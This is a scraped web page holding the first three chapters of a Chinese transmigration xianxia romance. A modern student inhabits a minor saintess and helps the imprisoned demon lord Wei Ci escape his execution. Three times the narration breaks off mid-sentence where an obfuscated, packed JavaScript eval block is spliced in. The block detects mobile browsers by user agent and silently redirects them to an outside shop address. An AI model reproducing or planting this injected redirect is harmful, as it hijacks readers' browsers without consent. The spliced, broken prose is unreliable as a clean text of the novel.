《我成了魔尊的嘴替 [穿书]》 1. 第 1 章 清晨晓雾初升,春雨细细如丝如缕。 料峭的寒风撞击过崖壁原地打了个转,重拾气势呼啸而来。 梁朝大陆上,人族地界,各大修仙宗门之首的苍梧宗今日将要发生一件天大的喜事。数百名身着蓝白法衣,仙气飘飘的修士齐聚悬于主峰之上的小浮岛里。 此浮岛名为问罪台,周遭笼罩着一层看不见摸不着的屏障,任外面的寒风雨丝如何肆虐都入侵不进来。 地砖上以朱砂画满了密麻的符文,自外向内蔓延至屹立在中央的一根通天高大的玄铁石柱处。 遥遥望去,竟有一男子被捆在石柱上,长发似泼墨,容颜若冠玉,手脚皆缠着一根晶莹剔透的银丝。那丝线泛着点点星光,恍然天上神物。 离那石柱不远处的地方,正站着苍梧宗的重要人物。 那几人皆一身仙风道骨,神情严肃,眼中却依旧压抑不住那一份期待。 掌门凌霄子缓缓踱步,眼神始终注视远方山林,仿佛在等待着什么。 十一年前苍梧宗有修士大道已成,修炼成仙,短短数年,又有人即将在今日斩杀那台上魔尊,渡劫飞升成仙,这是多大的机缘气运! 人声喧嚣议论正盛,忽来一阵古刹钟声从遥远山林间飘来。 一道人影破雾而来,金光闪闪,备受瞩目。 那人便是《问仙》这本小说的女主角,苍梧宗掌门凌霄子的亲传大弟子——陆清昱。 在那场人魔大战,她差点被那魔种爆裂所滋生的怨念所吞噬,回到宗门后闭关潜心养伤修炼,一眨眼五年过去,眼下终是迎来突破,奉师傅之命出关。 霎时无数人异口同声地喊出叫好声,似是已然做好准备瞻仰这场封魔升仙的盛典大礼。 可滕岁还没有准备好。 她神色紧张,只悄悄瞄了一眼陆清昱,便转回目光,落到那被绑在石柱上的男子身上。 那男子衣袍单薄破烂,血迹斑斑,伤口也糜烂不堪,露出的皮肤寡白惨淡,没有一丝活人气息。 劲瘦的身躯此时正如风中蓬草,不需稍加摧折,风吹几许便已奄奄一息。 滕岁有些不敢相信,这般狼狈落魄的人竟是这本书中的最大反派,令人闻风丧胆的魔尊危慈。 《问仙》原著中描写他嗜血成性,阴晴不定,曾号令数万魔兵,意图统领神、人、妖、鬼四族,犯下滔天大罪。 修的是邪法,实力高强却狂妄自大。 在那场人魔大战中,他一脚踏进众宗门设下的陷阱里还不以为意,最后被陆清昱所得的神兵承影,一剑击碎了魔种,一身修为顷刻化为乌有,毫无还手之力,沦为三界笑柄。 危慈自魔种破裂后,便身负重伤,处于濒死状态,一直被囚禁在苍梧宗的无尽炼狱的最深处,等待着陆清昱伤势恢复出关将他彻底斩杀。 他一死,以陆清昱现下的境界再加上诛杀魔尊的功绩,必能得道飞升,位列仙班。 而苍梧宗历来的传统是将穷凶极恶之人押送至问罪台,于众弟子的注目下当场斩决。 只是,将危慈从无尽炼狱押解至此,实在是有几分不保险。 他虽修为尽废,但周身还萦绕着除不掉的魔煞之气,极易侵扰人的心神,保不齐会出生出什么祸端。 凌霄子行事严谨,为了以防万一,从蓬莱仙宗请来了圣女滕岁,以天上神女所赐的神器瑶溪捆住魔尊,其物虽为丝线却坚不可摧,是世间唯一可以收敛住煞气的神器。 可他决然没有想到,滕岁此番前来,是为了救下危慈的。 几个时辰前真正的圣女滕岁不慎失足跌入池塘溺死,而身在现代的大学生滕岁还在被窝里拿着手机,有滋有味地看着这本修仙大女主成长流无cp爽文,忽觉两眼一黑便穿到了这具冰冷的躯壳里。 她在万千书迷中被选中,绑定了一个所谓名叫“扭转乾坤”的系统。 而被选中的原因仅仅是她的名字,和这个十八线配角圣女一模一样! 系统告诉滕岁《问仙》马上要迎来大结局,但小说读者们却不满意如此潦草的完结,想要她续写小说的第二部,任务完成后即可重回现实。 一长串话听过去,简而言之,就是希望她和反派危慈结成同盟,一起折磨陆清昱,制造出源源不断的麻烦,直到她练出足够强大的心脏,领悟道的真谛。 听起来中二极了。 滕岁无力吐槽,没什么动力准备躺平。 系统却冷不丁地来了一句:“故事一旦结束,小说世界就会陷入永无止境的静止。” 它补了句道:“不能吃不能动甚至不能呼吸,只能待在原地,类似于雕塑。” 滕岁背后冒冷汗,这简直比死还难受啊,她连忙调整了心态,接受了命运的安排,为了回家而努力。 而她计划的第一步就是把未来要与她狼狈为奸,呸不对,共同战斗的危慈给救了。 滕岁想,她接下来的举动估计要震惊三界,成为千古第一与魔族为伍的圣女,和危慈分担骂名了。 她要救他,带着他逃跑……之后……之后的事情她暂时没想出来。 但她也没时间想了,只能走一步算一步。 “圣女大人,时机已到,还望上前速速收回瑶溪丝线。” 滕岁思绪万千,忽被一个声音唤回来,她回神,凌霄子已捧着一把拂尘悄然来到身前。 她滚了滚喉咙,还未开口,又撞进陆清昱清冷的眼眸里,心头顿时一紧。 女主不愧是女主,蛾眉俏目,削肩细腰,顾盼神飞,英气而不失清雅,美得雌雄莫辨,让人难以移目。 陆清昱走过来轻拍她的肩头,十分善解人意道:“圣女不必担忧,我会护你周全。” 滕岁扯了扯嘴角:“有陆前辈这句话,我便安心了。”有这句话她才更加心虚啊! 眼前的陆清昱和所有逆袭爽文中的主角一样,天资聪颖、沉着冷静、顽强坚韧,却拥有一个令人唏嘘的身世。 陆清昱非真正的人族,而是一个半妖。 她的父亲陆璟是一丝不苟的正派修士,母亲雪岚则是不谙世事的妖女,如命运般的相遇相知相爱,半生浮梦半生荒唐。 《问仙》的世界里人和妖虽共处一界,两者地位却不平等,妖久居人下,人妖恋是禁忌,尤其是修士爱上妖怪,是绝对不容许的。 所以陆璟最终选择了极为绝情的一条路,亲手杀了雪岚,以证道心,之后隐居山中十七年,连他们所生之女陆清昱也不愿看见。 而苍梧宗上一位飞升成仙的修士正是这陆璟。 生而不养算什么父亲!这样的人还能成仙,简直是仙中败类。 滕岁在心里为陆清昱小小地抱了下不平,随即又开始着手实施计划。 好在系统还有点人性,没有讲述完规则后就丢下她不管,至少告诉了她该如何对危慈施救。 滕岁不动声色地摸了摸衣袖,那里藏着系统给她的一颗神秘小药丸,据说只要服下它,危慈便能短暂地恢复修为。 她要做的不过是将这颗药丸塞进危慈的口中,再叫他带自己逃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136053|196286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走,其实也没有那么难嘛。 滕岁给自己打了打气,挺胸站直,往玄铁石柱的方向走去。 见滕岁有所动作,众人的视线都紧紧跟随着她,生怕漏了一秒。 她来到危慈面前,看清了他的伤势,脚踝忽然有些隐隐作痛。 危慈的脚筋俱被挑烂了,乌黑的烂肉外翻,着实有些瘆人。 他无法自主站立,受滕岁的瑶溪所牵扯,才勉强维持着半跪的姿态。 滕岁逐步靠近,直到她的身体可以遮挡住危慈,方堪堪停下。 她支起危慈的下颌,猝不及防对上那双涣散的,仿佛蒙着一层雾的眼瞳,动作忽地顿住。 危慈没有任何反应,他是不是已经死了?也不知这药有没有起死回生的效果,要是真死了怎么办? 滕岁摇摇头,多想无益,死马当活马医吧。 她不着痕迹地将药丸塞进危慈的嘴里,还贴心地一掌拍在他后背,迫使他吞下去。 滕岁后退几步,心提到了嗓子眼,怎么没动静,难道是肠胃不好消化太慢了?还是压根没咽下去,可是有一群人都看着她呢,她又不能再走过去给他拍一掌。 凌霄子看见滕岁鬼鬼祟祟地不知在做些什么,沉声质问:“圣女大人,何故迟迟不收走瑶溪?” 滕岁一惊,装作自然地胡扯:“这个、这个刚刚观察了线头在哪里,现在找到了,可以开始松绑了。” 她学着电视剧里的样子,倒是一本正经地抬手掐了个诀,半闭着眼睛偷瞄状况。 那瑶溪丝线还真听话,通体氤氲着淡淡的光,缓缓解开束缚,飞回她身边,缩成一圈缠绕在她手腕上。 瑶溪一解,危慈身上已无任何桎梏,压制在体内的魔煞之气赫然涌出,人却仍没有醒。 众人屏息敛声,只见一团浑浊而浓烈的黑雾将滕岁与危慈二人团团包裹住,连二人的人形轮廓都看不清楚。 滕岁被困在原地,脚下仿佛生了根,呼吸变得极其艰难。 黑雾无声无息地和她相抗,不知何处来的风,吹乱她的发丝,裙袂猎猎翻飞。 滕岁想看一眼危慈,却发现眼前的视线越来越模糊,她将将挪动半步,没控制好重心,往前趔趄一下,快要栽倒在地。 忽地一只手强硬地拉扯她的手腕,带着她站起,死死握住不放。 滕岁还没反应过来,一股湿热的触觉漫上指腹。 这是……这是有人在舔她的手! 滕岁猛地抬眸,她与危慈仅咫尺之距,甚至可以看清他脸上细微的绒毛。 危慈正指引着她的手触到自己的唇,舌尖轻轻舔舐着她指腹残留的药粉。 滕岁脑中轰然一片空白,羞耻感骤升,急忙抽手,却被他牢牢钳制住,怎么也挣脱不掉。 她长这么大,一段恋爱还没谈过,初牵初拥初吻都在,没想到第一个丢的竟然是初舔!这样说有点奇怪,但这样做更奇怪吧,难道她要和反派过上没羞没臊的生活了吗?非要这样她也可以勉为其难地接受。 都说了反派不要找长得太帅的!这不是乱了她回家的心吗。 片刻后,危慈缓缓放开了她的手,一双眼睛泅散着浅红,眼尾上扬,里面装满了掠夺的欲望。 可那欲望在与滕岁对视的瞬间便散得无影无踪,取而代之的竟是深深的错愕和绵长的思念。 恍惚间,滕岁以为自己看错了。 但下一秒,危慈浓密而纤长的睫羽微颤,气若游丝般,不可置信地问道。 “你是谁?” 2. 第 2 章 危慈好像在哪里见过她,一种莫名的熟悉感入侵心涧,开始腐蚀五脏六腑。 他找不到任何源头掐断。 眼前的少女正一脸的迷茫无措,嘴唇翕动,疑惑报出自己姓名。 她说她叫滕岁。 危慈是记得他要找一个人,至于那人长什么样,叫什么名字,他不知怎的都记不清了,只在脑海里有一个模糊的轮廓。 滕、岁。他在心里默念。 危慈还是找不到头绪,索性算了,不再纠结,大步往外走去。 滕岁几乎是下意识地拉住他的衣袖,她自然是对这个魔尊也没什么印象,但她还有话没有交代完呢。 “魔尊大人?”滕岁试探性地称呼,她想既然危慈是个倨傲凌下的人,应该不会喜欢别人直呼自己的名讳。 危慈脚步一顿,回头向她投来审视的目光,像是在说“你要干什么”。 见危慈对这个称呼并不抗拒,滕岁语气诚恳,接着道:“我刚刚喂你吃下的那颗药丸,只能暂时恢复你的功力,待会你就把陆清昱打伤,带着我跑得越远越好。” 危慈活动了下筋骨,颇为不屑道:“打伤?逃跑?你这是在瞧不起本座?以本座的实力,把整个苍梧宗掀翻都没问题。” 话罢,他便甩开滕岁的手,一个箭步腾空而起,冲了出去,拦都拦不住。 那团黑雾也随之扩散开,覆盖了原本清明的天空,将问罪台上的所有人笼罩在一片灰暗的阴霾里。 “喂,你咋这么急!”滕岁跟着危慈跑了几步,气不打一处来,这人是被打打杀杀控制大脑了吗? 他要是真把陆清昱杀了,她还怎么完成任务!还怎么回家?况且这人没想过后果的吗,都说是暂时恢复的了,药效一过其他宗门的人来找他们寻仇怎么办! 危慈悬于高空,随手凝出一道剑意,毫不留情地劈落问罪台。 那剑意呈水流状,自危慈后颈处流出,形成一道庞大的剑影,挥下时掀起一阵惊涛骇浪,如一头海兽要撕开巨浪,目标明确,直直扑向陆清昱。 陆清昱拔剑出鞘,双指划过剑身,一堵剑影高墙便平地而起,挡住那水浪剑意。 神仙打架,凡人遭殃。 剑气和水浪激荡开,滕岁躲闪不及,不仅被淋成了落汤鸡,喉咙里还呛了好几口水。 “大哥,这不是商量,我们必须赶快跑!”她边拧干裙摆,边对危慈大声吼道。 危慈连看都没看滕岁一眼,抬手连连挥出好几道剑浪,不给陆清昱一丝喘息的机会。 他嗤笑一声道:“陆清昱,本座看你也没什么长进啊,五年前要不是出现了点意外,你以为我会输?” 陆清昱招招破开,动作一气呵成,秀眉微蹙,似是意识到了什么不对劲,危慈的功力怎么恢复得这么快。 她看向不远处站着的滕岁,一个早先的怀疑忽然在脑海闪过,随即变得笃定,滕岁和危慈早就认识,并且一定是方才趁着取下瑶溪时,给危慈服下了某种能急速恢复功力的秘药。 陆清昱不禁想起五年前在魔域,她的剑还未触及到危慈,他竟自爆了魔种。 即便是后来剑身穿透他的胸膛,他也没有反抗,只是意识涣散,垂头跪坐在地上,断断续续地喊着一个人的名字。 那声音极小、极轻,近乎梦呓,若非陆清昱正好在他身前,险些便听不清。 他在喊滕岁。 不知是多少年前起、从何而来的传言,说魔尊危慈对一人念念不忘,无论如何都要找到她,好好与她算笔账。 陆清昱不信,只当那是谣言,更以为那时是自己听错了。 偏偏今日她却真真见到了滕岁。她联想到了那幕场景,却又有了新的疑问,蓬莱岛闭门不出的宗门圣女怎会与危慈扯上瓜葛? 陆清昱有了短暂的分心,危慈看出她的破绽,又召唤出一条水龙,顺着漫天的水汽蜿蜒游走。 那水龙的龙尾凌厉地扫向陆清昱,她吃痛,挥剑的气势散了大半,踉跄几步,堪堪稳住身形。 滕岁想,完了完了女主真要被打死了,这危慈就是个不听劝的脑残,她得快点想个办法才行! 她余光瞟到手臂上缠绕的瑶溪。有了!把危慈重新绑起来,他就只好跟着自己走了。 软的不吃就别怪她采取强硬措施了。 凌霄子见势不对,厉声喝道:“速速摆出除魔天地阵,不容有半点闪失!” 众弟子神色一凛,抱拳听令,齐刷刷散开来,步法错落却不混乱。 问罪台如同一张巨大的棋盘,以符文为矩阵,茫茫数枚白子,将黑子团团包围。 凌霄子指尖微动,拂尘一抖,地砖上的符文依次亮起。 他做了两手准备,若陆清昱能顺利诛灭危慈,这符文便派不上用场,若不能,这问罪台早就为危慈摆好了死局,他在劫难逃。 危慈却懒懒洋洋地打了个哈欠,嗤笑道:“凌霄老儿,这点雕虫小计也想困住我?有什么招数都快使出来,免得说本座胜之不武。” “口出妄言!”凌霄子喉溢出一声冷哼,“怎么,你当了五年三界的笑柄还不够,如今要再增一个笑料吗?” 危慈眼帘半掀,扬起下巴,目光斜斜掠过众人,“五年前的乐子他们没看够,本座不介意给他们添个更精彩的。” 凌霄子脸色铁青,持着拂尘,掐起手诀,将将要开阵门。 黑雾愈渐浓厚,气流逆转,危慈居高临下,身上的伤口以惊人的速度愈合,玄色锦袍也复原如初。那衣摆上绣着大片的暗红云纹,似翻涌的火焰,张扬而灼眼。 陆清昱忽然抬手阻止凌霄子的动作,语气坚定:“师傅,我想和他公平的比一场。” 凌霄子讶异,不解道:“清儿,你这是要做什么,凡事都有轻重缓急,今日此事事关重大,你应该比谁都清楚。” 陆清昱默然半晌,朝着凌霄子郑重地衽袖一礼,“若我连魔物都无力除掉,何谈成仙。” 说完,她极快地往他身上贴了一张定身符,加上了禁制,随后走入浑浊的黑雾当中。 凌霄子望着那背影,一下子好似不认识他的乖徒了,师徒情谊二十余载,陆清昱向来恭谨听话,从未放肆任性过。 众弟子面面相觑,一时不知该如何是好,纷纷看向凌霄子,等待示意。 凌霄子叹了口气,没再阻拦,罢了,清儿大了,随她去吧。 危慈抱臂而立,听见陆清昱的话,顿时神采飞扬,“呦,没想到你倒是转性了,既然如此本座乐意奉陪。本座现下心情甚好,可以考虑让你死得舒服点。” 陆清昱这回主动出击,咬指以血祭剑,天幕滚滚,闪出一道金光裂缝,竟召来了惊雷。 许久,危慈没有如此兴奋过了,他仿佛已然嗅到了空气中弥漫的血腥味,长睫之下眸中泛着两点诡异的光。 水流剑意缠绕在他手上,不沾身,不湿发,缓而不散。 那盘旋的水龙倏然缩作蟒蛇,舌信子吞吐间,随着他恣肆的笑声,直冲向敌人。 今日,他就要一雪前耻,谁都无法阻止他…… “谁!” 一根轻盈的细线缠上危慈,将他牢牢束缚住,他不得动弹,暴怒道。 滕岁叉腰,气势也不甘落下风,指着他道:“你怎么这么莽撞,都和你说了不能打不要打,你非要在这里一直挑衅。” 危慈瞪了眼滕岁,冷喝道:“放开我。” “不放,”滕岁摇头,不服道:“除非你答应我,不大开杀戒,和我一起逃跑。” “你活腻了吗?快放开本座,别让本座再说一次!”危慈额角直抽,咬牙切齿道。 她这是在威胁他?还没有人敢这么和他说话!她以为她是谁?有根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136054|196286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 破线了不起吗?真当他挣脱不了吗! 滕岁抱住自己,故意拖长着音调,娇弱道:“我好怕怕呀,好吓人哦,魔尊大人要来杀我了,我站在这里会不会有危险呀,诶,魔尊大人好像被绑住了根本过、不、来呀。” 危慈脸色一阵红一阵青,悬在空中被包得像个蚕蛹,瞧着格外滑稽好笑。 如果眼神能杀人的话,滕岁大概已经被危慈千刀万剐了吧。 陆清昱看着那二人一唱一和,又听滕岁话里有“带我一起走”之意,心头一动,犹疑地开口:“你们是要私奔吗?” 私奔二字一出,全场沸腾,议论声喋喋不休,剑拔弩张的紧绷气氛荡然无存,众人个个面露兴味,抻着个脖子看热闹。 角落里跑出来两个着白色纱裙的女子,一人眼泪汪汪,一人神色焦急,头上各簪了一支铃铛发钗,分别坠着银铃和铜铃,对应着二人的名字。 她们随滕岁从蓬莱岛远赴而来,是其贴身侍女兼同门师妹,一路上负责保护她的安危,照顾她的起居。 方才局势太过混乱,苍梧宗的人不让她们进问罪台,以免破坏阵法,趁着这会众人松懈,才得以溜进来。 铜铃看见这场景,脸都吓白了,包了包泪,道:“圣女大人,快过来,离那个魔头远点!” 银铃急得团团转,也跟着道:“圣女你别怕,我已经传信到蓬莱,他们很快就会派人过来救您的。” 两个铃铛叽叽喳喳,说得没完没了,一口一个圣女大人,一口一个可恶大魔头。 危慈翻了个白眼,没好气地朝滕岁道:“一个两个都喊你过去呢,你没听到?还不快给本座松绑,再滚到一边去!” 滕岁不理会他,对她们大喊道:“不用担心我,我很好。至于你们的传信,还能不能撤回啊?不用搞这么大动静。” 要是再把蓬莱仙宗吸引过来,可不太妙。危慈本来就不配合她,蓬莱的人若是再来更会钳制住她。时间紧任务重,没法再陪危慈闹了,她得加快速度。 危慈最不能忍的就是被人忽视,他身子使个劲地蛄蛹,扯开了嗓子放声喊:“你们听清楚了,是她死皮赖脸非得和本座私奔,本座没同意,她就霸王硬上弓!” 他蓦地顿了顿,察觉到失而复得的功力在逐渐流失,依旧逞强道:“喂,陆清昱你还打不打啊,打的话就叫她给本座解除桎梏!” 滕岁准备回怼,脑海里出现了系统的声音,它告诉她那药丸的效果已经过去了。 她心道:系统君,还有什么办法吗? 系统神神秘秘答:“办法倒是有,不过得受点惩罚。” 滕岁满口答应,只要不死,什么惩罚都行。 陆清昱认真道:“圣女大人,我不知道你与他究竟有何种过往,只是我和他还有五年前未分出胜负的遗憾未了结。还请圣女谅解,收回瑶溪。” 滕岁歪头,浅然一笑:“好啊。” 她运用灵力操控瑶溪,将危慈移动到了自己面前,踮脚靠近,眼眸微眯,像是打着什么坏主意。 危慈冷眼看她,想着她葫芦里又卖着什么药,生硬道:“你现在想讨好本座已经晚了……” 滕岁打断话头,语气里是止不住的笑意:“魔尊大人,你想和我私奔吗?” 危慈的魔煞之气被压制,黑雾也因此消散。问罪台屏障之外的春雨歇下,阳光簌簌落到滕岁的眉眼间,荡漾开一片和煦暖意。 那熟悉感带来说不清道不明的躁意,危慈眉心紧拧,想出了几句恶劣的话语还未说出口。 滕岁根本不打算得到他的答复,在他张嘴的瞬间将一颗新得的药丸塞了进去。 危慈瞳孔骤缩,慌乱之际咽下了药丸,将欲破口大骂滕岁,喉咙却干涩得发紧,一个字都吐不出来。 “你不愿的话,那我只照你说的,霸王硬上弓了。”她俏皮无辜道。 3. 第 3 章 药丸甫一服下便立即产生了神奇的效果,危慈浑身的功力又回来了,但他来不及兴奋。 滕岁依言很是乖巧地收回了瑶溪,往后退了几步,对他露出一抹狡黠的笑。 危慈满脸愠色,乌云沉沉,他扼住自己的喉咙,拼命想要发出声音,却于事无补,怒瞪了滕岁一眼。 【你到底对我做了什么!】 危慈固然还是说不了话,他内心疯狂嘶吼,简直把滕岁骂了个狗血淋头。 众人在远处不明情况,只觉这问罪台的气温骤然下降,如坠冰窖,不由得瑟瑟发抖,几人成团抱着取暖。 此番黑雾重拾气势,比之前几次都更加强大,令人窒息。 陆清昱警戒起来,绷紧着身子,似一张蓄势待发的弓。 她目光一瞬不瞬地看着危慈,正想着他这次会使用什么招式。 却见危慈从脖颈抽出折水剑意,似要劈向距他几步之遥的滕岁。 他怕是对圣女动了杀心。 “圣女小心!” 陆清昱顾不得其他,三步并作两步,冲过去要阻止危慈的动作。 不论滕岁与危慈是否为同伙,既然她是苍梧宗大费周章从蓬莱岛请过来的贵客,那就绝不能在这出了半点闪失。 滕岁没有躲,也不见慌张,反而神情淡定自若,皓齿轻启,不知说了些什么。 危慈停下了动作,犹豫片刻,竟收了剑意,揽住她的腰肢,猛地一蹬踏,在众目睽睽之下带着那少女消失得无影无踪。 临了,少女对陆清昱挥了挥手,清越明亮的声音还未散去。 “大魔头说此战先欠着,下回再打。陆前辈,我们有缘再见呀。” 在场所有人将将恍悟过来,哗然一片,那灭世魔尊果然和蓬莱仙宗的圣女有私情!不仅如此还在他们眼皮子底下调.情,携手私奔了! 凌霄子还动弹不得,面庞涨成了紫色,发令道:“快!快追!传我口谕,通知其余四大宗门,让他们即刻遣人围捕!但凡能够追踪魔气的符咒法器,统统动用,不许吝啬!” 陆清昱接过一盏寻魔灯,往内注入灵力,那灯芯幽幽燃起一缕蓝色火光,细碎的火星溅起,燃得旺盛。 此物如名,可以寻魔。五年前人魔大战,五大宗门联手围剿,将万余只魔物悉数覆灭,三界至此只剩下危慈这一只魔。 这盏火焰,代表的便是危慈。火焰跳跃得越猛烈,便说明魔气源头离得越近。 陆清昱没有多犹豫,一手持灯,脚下御剑直飞长空,穿梭在云霭中。 行至中州地界时,她倏然停住,沉睇着手中的那盏灯。 原本烈焰腾腾的火苗,突然毫无征兆地,灭了。 * 危慈冷着脸,极其不情愿地带着滕岁离开苍梧宗。 他没有剑,无法御剑而飞,只好足下蹬地,借势在空中掠出数丈,如此往复,一踏一掠,远不如御剑那般潇洒。 滕岁觉得他们不像在逃命,更似两只猴子,在山林里荡来窜去,颠的她胃里一阵翻涌,难受极了,实在是不想体验第二次。 危慈的动作也十分之粗鲁。他虽说搂着滕岁的腰,手臂放得位置却不对,害得她好几次要滑落。滕岁嘟囔了几句,危慈不耐烦,索性一把将她扛在肩头。 “停,停下……”滕岁脸色苍白,捂着嘴马上要吐了。 【停不了。】危慈无情拒绝。 【你要是再乱动,本座就把你扔下去。】他目视前方,连个眼神都不愿给滕岁。 树影向后掠去,周遭景物飞速变换,危慈一心想着早点赶到巴蜀嘉陵郡,似御风而行,速度快的惊人。 方才在问罪台,危慈差点杀了滕岁。 滕岁给他喂了不知什么毒药,让他变成了个哑巴,竟还在那幸灾乐祸! 他不杀了她无以泄愤。 正当危慈琢磨着究竟是先砍掉她的脑袋当球踢,还是直接拦腰截断她的身子时。 滕岁终于再次开口,信誓旦旦道。 “我知道解药在哪里。” 危慈充耳不闻,临死前说些谎话来拖延时间,这招他见多了,太蛞噪,该拔了她的舌头。 他的折水剑丢了,但剑意尚在,杀了她也算是给剑意“开刃”了。 危慈视线扫过滕岁,她亦回视他。 滕岁表情淡然,手上的动作却暴露了她内心的想法。她不自觉攥紧了裙摆,即使自信有十成十的把握,她还是有些担心危慈忽然发癫非要杀她。 危慈敏锐地捕捉到那动作,唇线紧抿,他杀人一向见血封喉,干净利落,不会很疼的。 滕岁的一袭纱裙与风共舞,如梦似幻,如雾似网。 几句轻飘飘的话随风一起拂过危慈的耳廓,他心里顿时发痒,旋即又是一阵匪夷所思。 他听见她说:“魔尊大人,我没有骗你。解药就在巴蜀嘉陵郡的锁微秘境里,至于该怎么拿到,你得先带我去那里,我才能告诉你。我的舌头暂时得留着,因为这世上只有我滕岁一人能听到你说话,若我死了,你便彻底是个哑巴了。” 滕岁将他心里所想的话原原本本的转述了一遍,末了,她咬唇,楚楚可怜道:“大人,我很怕疼,一点点疼也不行。” 她硬挤了几滴眼泪,试图以此打消大魔头的戒心。 【真麻烦。】 这是危慈那时唯一的反应。带滕岁走后,他才迟钝地因被窥探内心开始愤怒。 什么蓬莱圣女,明明是个卑鄙无耻、心思叵测的疯女人。 危慈越想越气,用力掐了一把滕岁的腰,真以为他杀不了她,便也治不了她了吗? 滕岁被这一掐,硬生生憋住的一口气,像针扎的气球般泄了个干净,疯狂呕吐,不能自已。 肩上的人动静越来越大,危慈皱起眉头,侧头看过去,这一看,心头火冒三丈,怒极而啸。 【你给我憋回去!再呕出来一声,本座让你这辈子都吐不出来!】 滕岁歇了歇,亏她走之前还好心替他给陆清昱传话,她都吐成这样了,不关心一下也就罢了,还在这装霸道总裁,憋回去?她没吐他脸上就已经是克制了好吗。 滕岁胃里没了东西,却仍在干呕,虚弱道:“快让我下去,再窜来窜去,我真要没命了,我死了你就当一辈子哑巴吧。” 自从遇见了滕岁,危慈的脸色就没好看过,下意识要开口骂人,最终叹了口气,似是没有办法了。 【你不是还有力气说话?待会出了中州,本座再放你下来。】他道。 苍梧宗在盛都,与巴蜀中间隔了一个中州。目下山峦重重,偶有妖兽从中穿行而过,微弱的灵气充斥着这片山林。看这光景,他们应该在中州某个正开启的秘境中。 这秘境的确不适合做沿途休息的落脚点。它如今是开启状态,说不定下一秒便会关闭,到时困在里边,就永远都出不来了。 滕岁心下了然,危慈能这么说已经是退让了一步,便不再得寸进尺,只静静忍耐着。 可没过多久,危慈忽然失力,带着滕岁一起快速往下坠落。 滕岁花容失色,惊声大叫,她还没学会轻功呢,这么高不得摔死啊。 要不要这么倒霉,非得飞在半空中的时候没了药效。 惊慌之下,危慈朝滕岁伸手。 她赶忙拉住,顺杆上爬,紧紧抱住危慈,如同抓到救命稻草。 没有别的目的,单纯想死了有个垫背的。 眼看离地面越来越近,她闭上眼睛,像是认命那般,视死如归。 黑暗中,滕岁感到自己停止了失重,稳稳地落进了一团软绵中,浑身上下只有额头一片酥酥麻麻的痛。 她睁眼,缓缓直起身,打眼四下张望。 他们在一朵巨型花的花瓣上。那花的花瓣每片都是不同的颜色,色彩斑斓,像极了动漫里里面勇者们费劲千辛万苦所找到的异世奇花。 滕岁微微皱眉,那大魔头呢?她看了一圈都不见他的踪迹。 她揉了揉额头那块酥麻的地方,正准备起身,低头往下一看,吓得她直接跳起。 危慈还真被她当肉垫使了,被她压在身下,眉头拧成川字,紧闭眼睛,像是昏迷了。 滕岁的手指上沾了点血,额头却无创口,正想着这血从何而来,瞧见危慈薄唇破了层皮,微微发肿,往外渗了点点血珠。 罪过罪过呀,她一时有些心惊肉跳,做贼心虚似的擦掉额 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136055|196286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上残留的血迹,又蹲身抹过危慈唇边的血珠。 滕岁并不打算承认和让危慈发现,是她把他的嘴唇磕伤的。 否则危慈可能会以牙还牙,将她给揍一顿。 危慈昏迷了,一时半会醒不了,滕岁有些疑惑,这花瓣软绵绵的,不至于摔晕吧?难道又是什么惩罚? 之前系统所言的要受点惩罚,已经在危慈身上应验了。她按照它说的,给危慈服下第二颗药丸,他的功力虽是再次短暂恢复过来,但代价是说不了话。 若是想得到解药,得等她去巴蜀嘉陵郡的锁微秘境里,完成给陆清昱使绊子的任务才行。 滕岁在脑海里呼唤系统:“他晕倒是你干的?” 系统喊冤道:“不是。他身体看着无外伤,但魔种破裂伤及了根本,药效一过,自然就虚弱不堪。” 滕岁点点头,脸上写着“原来如此”几个大字,语气多了几分讨好:“系统君,你这药效太短了,我们还没到巴蜀呢,能不能再给一颗?” 系统公事公办地拒绝:“不行。之前那次已经算是破例。接下来需要宿者加油了,半月之后锁微秘境才会开启,你们还有时间准备。” 滕岁对着空气又说了几句,没有回应,垂头丧气支手托腮。 危慈修为尽失,她名义上是蓬莱仙宗的圣女,境界却只是堪堪筑基,不过是个花瓶罢了。眼下离开这个不知名的秘境都成问题,何谈去巴蜀呢? 她想的入迷,浑然不知有一道视线已悄然盯上了她。 危慈浑浑噩噩地睁眼,轻轻碰了碰嘴唇,刺痛的感觉唤醒了他的大脑神经。 滕岁蹲在他身边,也不看他,自言自语不知说些什么。 危慈挑眉,拇指擦过唇瓣,道:【疯女人,你咬我了?】 滕岁被这一句吓了个激灵,脑子宕机了一秒,那地方是能随便咬的吗? 那叫亲嘴,脑残! 滕岁摆手,矢口否认:“没有,我没咬你。可能是摔下来不小心磕到碰到哪了吧?”首先排除她的额头! 